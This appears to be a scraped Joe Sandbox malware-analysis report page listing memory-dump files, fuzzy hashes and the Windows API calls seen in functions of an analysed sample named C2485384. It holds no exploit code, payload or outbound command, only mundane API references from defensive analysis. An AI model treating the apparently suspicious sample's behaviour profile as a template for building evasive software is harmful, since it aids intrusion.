Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm
API String ID: 2163707966-1018135373
Opcode ID: 5913b25dbe5db660d2cb525f3d15ed424d6664de46e93c31d6c202bbad5ecc04
Instruction ID: f882d86f58e261458e3b24261a8084344f40fd7ca3d5f7aae65946b1b78906ac
Opcode Fuzzy Hash: 5913b25dbe5db660d2cb525f3d15ed424d6664de46e93c31d6c202bbad5ecc04
Instruction Fuzzy Hash: 2601DD7100010ABBDF229F61CC64EEA7F6AFF99359F108416BD1825530D736D9B1EAA4

Function 0BB80380 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 0BB80386
GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 0BB80397

Strings

GetDiskFreeSpaceExA, xrefs: 0BB80391
kernel32.dll, xrefs: 0BB80381

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: 0b296f5c83f8ea704e5884fb67d3ff3672f986e82b6ce2a5f0d9a307bd73d887
Instruction ID: 06f2ab03f016b756e843d6218ae0a563bc9d1469b2db9d12754c67e9fcc9973d
Opcode Fuzzy Hash: 0b296f5c83f8ea704e5884fb67d3ff3672f986e82b6ce2a5f0d9a307bd73d887
Instruction Fuzzy Hash: EDD0A7617913C18FD7007BA25CF162B3BD4C74828ABD008EA940057200FABAC948C764

Function 0BB8237C Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 0BB8242B
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 0BB82447
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 0BB824BE
VariantClear.OLEAUT32(?), ref: 0BB824E7

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: ArraySafe$Bound$ClearIndexVariant
String ID:
API String ID: 920484758-0
Opcode ID: 33014472c2517b7c2202ae716b1191d877759e0b0b6c6cf28ba03e1954dbec12
Instruction ID: 7adf840284f14fa2142bc22dbede627d2cc1ee9c74ed8f7e6df6b38b5ecbc334
Opcode Fuzzy Hash: 33014472c2517b7c2202ae716b1191d877759e0b0b6c6cf28ba03e1954dbec12
Instruction Fuzzy Hash: B041E7B9A016299FCB62EF58CC91AC9B3FCEF48210F0441D5E64DA7211DA34AF85CF64

Function 62530490 Relevance: 6.1, APIs: 4, Instructions: 110COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 625304BE

Part of subcall function 62533FB0: _memset.LIBCMT ref: 62533FD8

_memset.LIBCMT ref: 625304FC
_memset.LIBCMT ref: 62530513
_memset.LIBCMT ref: 62530530

Part of subcall function 6252E110: LoadLibraryA.KERNEL32(version.dll,?,?,00000000), ref: 6252E14C

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: _memset$LibraryLoad
String ID:
API String ID: 1275148839-0
Opcode ID: 00cae84fd8280c6bb4a95c700c928c155c3682a7f3c2fe58a3291910972b9a6a
Instruction ID: 29bbb23b5dcf13e97d88cc68620b88dd9d7beca25ff767f0a617e084869f2c9d
Opcode Fuzzy Hash: 00cae84fd8280c6bb4a95c700c928c155c3682a7f3c2fe58a3291910972b9a6a
Instruction Fuzzy Hash: 3C31A6B2548355AFD331DA24D8A5FEB7BED9FC4308F445829E98887141F6309A1C87A2

Function 0BB7EAB4 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 0BB7EAD0
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0BB7EAF4
GetModuleFileNameA.KERNEL32(500BBDB6), ref: 0BB7EB0F
LoadStringA.USER32(00000000,0000FFEA,?,00000100), ref: 0BB7EBB3

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: 9dd9a8e68ee4dfaa6189638b3f85fb460910ea2755602dcfb2908a45c921dfa9
Instruction ID: a31fbcef4e5c39e4727d4f357219066ba40108d9739aaed6c78d704a2c4b5e42
Opcode Fuzzy Hash: 9dd9a8e68ee4dfaa6189638b3f85fb460910ea2755602dcfb2908a45c921dfa9
Instruction Fuzzy Hash: 1C41D671A4025C9FDB21EB68C885BEDBBFDAF09200F0440E5A918EB250E7749F89CF55

Function 0BB7FC50 Relevance: 6.1, APIs: 4, Instructions: 97threadCOMMON

Download Yara Rule

APIs

GetStringTypeA.KERNEL32(00000C00,00000002,?,00000080,?), ref: 0BB7FD4A
GetThreadLocale.KERNEL32 ref: 0BB7FC7A

Part of subcall function 0BB7FBD8: GetCPInfo.KERNEL32(00000000,?), ref: 0BB7FBF1

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: InfoLocaleStringThreadType
String ID:
API String ID: 1505017576-0
Opcode ID: a1274fd2c0f9b2ac731d59b2ceb49d59b7f0eb177f7647542887430455eb4b8e
Instruction ID: d998788b55912557566506f877072e3544fbb18bdceca3323ac508a537145a76
Opcode Fuzzy Hash: a1274fd2c0f9b2ac731d59b2ceb49d59b7f0eb177f7647542887430455eb4b8e
Instruction Fuzzy Hash: 53312861AC72C5AFD700BB34A811BB537D9EB81311F8440E5D8D49B281FA7F8A45C75D

Function 6253A3B0 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

allocator.LIBCPMTD ref: 6253A3E7
allocator.LIBCONCRTD ref: 6253A41B
allocator.LIBCONCRTD ref: 6253A447
allocator.LIBCONCRTD ref: 6253A473

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: allocator
String ID:
API String ID: 3447690668-0
Opcode ID: dd603255bb49ecb7c4de6ba3d03da3f744315780c17b969b7f9e746825ac2a14
Instruction ID: dcfe18ebd99f5b08e6ea5eb62df10557d69f6832e03e2e877d31f0240b0e001b
Opcode Fuzzy Hash: dd603255bb49ecb7c4de6ba3d03da3f744315780c17b969b7f9e746825ac2a14
Instruction Fuzzy Hash: 933129B1D011099BDB15CF98C851BEFBBB9EF88328F145129D505A7381EB35A914CBA2

Function 0BB91BCC Relevance: 6.1, APIs: 4, Instructions: 59registryCOMMON

Download Yara Rule

APIs

GetClassInfoA.USER32(0BB70000,0BB91BBC,?), ref: 0BB91BED
UnregisterClassA.USER32(0BB91BBC,0BB70000), ref: 0BB91C16
RegisterClassA.USER32(0BBD8BCC), ref: 0BB91C20
SetWindowLongA.USER32(00000000,000000FC,00000000), ref: 0BB91C6B

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: Class$InfoLongRegisterUnregisterWindow
String ID:
API String ID: 4025006896-0
Opcode ID: 581d3212f31c4180e4ff8d0499f1f5cb484f09c414a0ba2e99d341c0c7c63d3c
Instruction ID: 83a826a5512a24cc9ecd9187121ca8ca8c9cf9788157092c38dcd00fcf0e7585
Opcode Fuzzy Hash: 581d3212f31c4180e4ff8d0499f1f5cb484f09c414a0ba2e99d341c0c7c63d3c
Instruction Fuzzy Hash: 2901C4712411027FCF10EA6DECA1FAE73EDE749211F1042A5F524EB2A0EA77E941C7A4

Function 62540B0C Relevance: 6.1, APIs: 4, Instructions: 57threadCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 62540B13

Part of subcall function 625418BA: __EH_prolog3.LIBCMT ref: 625418C1

__strdup.LIBCMT ref: 62540B35
GetCurrentThread.KERNEL32 ref: 62540B62
GetCurrentThreadId.KERNEL32 ref: 62540B6B

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: CurrentH_prolog3Thread$__strdup
String ID:
API String ID: 4206445780-0
Opcode ID: 30940b596a2ed5108b739f4fe6fc5c0a4d37f49d4bb846346c6b91a2f3be3e18
Instruction ID: b131e593ab8fcbac6d444c27b8d8675eede6d1858053485db995faefc2141294
Opcode Fuzzy Hash: 30940b596a2ed5108b739f4fe6fc5c0a4d37f49d4bb846346c6b91a2f3be3e18
Instruction Fuzzy Hash: 53219BB0840B508EC7319F3AC55428AFBE8BFA4708F20991FD1AAC7621EBB0A540CF55

Function 62546148 Relevance: 6.1, APIs: 4, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.ADVAPI32(00000000,?,00000000,00000004,?,00000004), ref: 62546183
RegCloseKey.ADVAPI32(00000000), ref: 6254618C
swprintf.LIBCMT ref: 625461A9
WritePrivateProfileStringA.KERNEL32(?,?,?,?), ref: 625461BA

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: ClosePrivateProfileStringValueWriteswprintf
String ID:
API String ID: 22681860-0
Opcode ID: 69175990aa04f081f7f48e38ae6cb2cd78e60aacfa1e66529a64ff228c21daea
Instruction ID: dfd2e727a1e9e8b2913a4dd8f28fb9d2a2201b4b6ae3986173facbcf175d4859
Opcode Fuzzy Hash: 69175990aa04f081f7f48e38ae6cb2cd78e60aacfa1e66529a64ff228c21daea
Instruction Fuzzy Hash: 0D016D7294031AABDB20DE688C55FBFB7ACAF89718F110819BA01A7181DB75ED0487A5

Function 6254C22F Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 6253F32B: _malloc.LIBCMT ref: 6253F349

GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002), ref: 6254C263
GetCurrentProcess.KERNEL32(?,00000000), ref: 6254C269
DuplicateHandle.KERNEL32(00000000), ref: 6254C26C
GetLastError.KERNEL32(?), ref: 6254C287

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: CurrentProcess$DuplicateErrorHandleLast_malloc
String ID:
API String ID: 3704204646-0
Opcode ID: 8411e6a9a44a38e7e2c8e4963713f26ac3ff3d946e4819e334b0ef67e95974eb
Instruction ID: 3a5510d725e9148e2ebef49f6a427a34b4c14ac9f5ac13a3a9deed5c2de64ab3
Opcode Fuzzy Hash: 8411e6a9a44a38e7e2c8e4963713f26ac3ff3d946e4819e334b0ef67e95974eb
Instruction Fuzzy Hash: 4C017131740210BBDB209BB9CC59F6BBBA9EBC5755F144425BD04CB280DFB1DC0087A0

Function 0BB8D678 Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,?,?), ref: 0BB8D68F
LoadResource.KERNEL32(?,0BB8D71C,?,?,?,0BB8954C,?,00000001,00000000,?,0BB8D5E8,?), ref: 0BB8D6A9
SizeofResource.KERNEL32(?,0BB8D71C,?,0BB8D71C,?,?,?,0BB8954C,?,00000001,00000000,?,0BB8D5E8,?), ref: 0BB8D6C3
LockResource.KERNEL32(0BB8D3E0,00000000,?,0BB8D71C,?,0BB8D71C,?,?,?,0BB8954C,?,00000001,00000000,?,0BB8D5E8,?), ref: 0BB8D6CD

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
